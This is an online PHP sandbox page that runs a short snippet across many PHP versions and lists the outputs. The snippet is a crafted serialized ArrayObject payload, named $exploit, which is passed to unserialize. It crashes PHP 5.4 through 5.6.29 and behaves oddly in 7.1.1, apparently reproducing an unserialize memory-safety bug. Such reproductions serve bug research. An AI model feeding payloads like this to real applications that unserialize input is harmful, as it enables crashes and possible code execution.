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run code in 300+ PHP versions simultaneously
<?php class obj { var $y; function __wakeup() { $this->y = 1; } } $inner = 'x:i:1;O:3:"obj":1:{s:1:"y";R:1;};m:a:1:{i:0;O:8:"stdClass":0:{}}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; var_dump(unserialize($exploit));
Output for 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Deprecated: Creation of dynamic property ArrayObject::$0 is deprecated in /in/uQ89U on line 12 int(1)
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Deprecated: Creation of dynamic property ArrayObject::$0 is deprecated in /in/uQ89U on line 12 int(1)
Output for 5.6.30 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0, 7.1.2 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28
int(1)
Output for 7.1.1
object(ArrayObject)#1 (2) { [0]=> object(stdClass)#3 (0) { } ["storage":"ArrayObject":private]=> object(obj)#2 (1) { ["y"]=> int(1) } }
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.29

Process exited with code 139.

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234.08 ms | 402 KiB | 376 Q